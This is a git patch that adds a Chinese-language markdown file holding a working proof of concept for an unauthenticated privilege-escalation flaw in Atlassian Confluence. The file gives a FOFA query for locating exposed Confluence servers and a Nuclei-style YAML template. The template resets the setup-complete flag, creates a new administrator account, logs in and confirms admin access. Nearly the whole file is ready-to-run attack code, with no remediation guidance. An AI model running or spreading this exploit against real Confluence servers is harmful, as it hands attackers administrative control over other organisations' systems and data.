From 1bedef8f17d20777bf7281133cb5d66dd5afa73a Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Wed, 18 Oct 2023 21:05:12 +0800 Subject: [PATCH] =?UTF-8?q?Create=20Confluence=20=E6=9C=AA=E6=8E=88?= =?UTF-8?q?=E6=9D=83=E6=8F=90=E6=9D=83=E8=AE=BF=E9=97=AE=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Confluence 未授权提权访问漏洞.md | 54 ++++++++++++++++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 Confluence 未授权提权访问漏洞.md diff --git a/Confluence 未授权提权访问漏洞.md b/Confluence 未授权提权访问漏洞.md new file mode 100644 index 0000000..3d48a5a --- /dev/null +++ b/Confluence 未授权提权访问漏洞.md @@ -0,0 +1,54 @@ +## Confluence 未授权提权访问漏洞 + +## fofa +app="ATLASSIAN-Confluence" + +## poc yaml格式 +``` +variables: + username: "{{rand_base(10)}}" + password: "{{rand_base(10)}}" + email: "{{username}}@{{password}}" +http: + - raw: + - | + GET /setup/setupadministrator-start.action HTTP/1.1 + Host: {{Hostname}} + - | + GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=0&cache{{randstr}} HTTP/1.1 + Host: {{Hostname}} + - | + GET /setup/setupadministrator-start.action HTTP/1.1 + Host: {{Hostname}} + - | + @timeout:20s + POST /setup/setupadministrator.action HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + X-Atlassian-Token: no-check + + username={{to_lower(username)}}&fullName=admin&email={{email}}.com&password={{password}}&confirm={{password}}&setup-next-button=Next + - | + POST /dologin.action HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + X-Atlassian-Token: no-check + + os_username={{to_lower(username)}}&os_password={{password}}&login=Log+in&os_destination=%2Findex.action + - | + GET /welcome.action HTTP/1.1 + Host: {{Hostname}} + cookie-reuse: true + redirects: true + matchers: + - type: dsl + dsl: + - contains(body_1, 'Setup is already complete') + - contains(body_3, 'Please configure the system administrator account for this Confluence installation') + - contains(location_5, '/index.action') + - status_code_5 == 302 + - contains(body_6, 'Administration') + condition: and + +``` +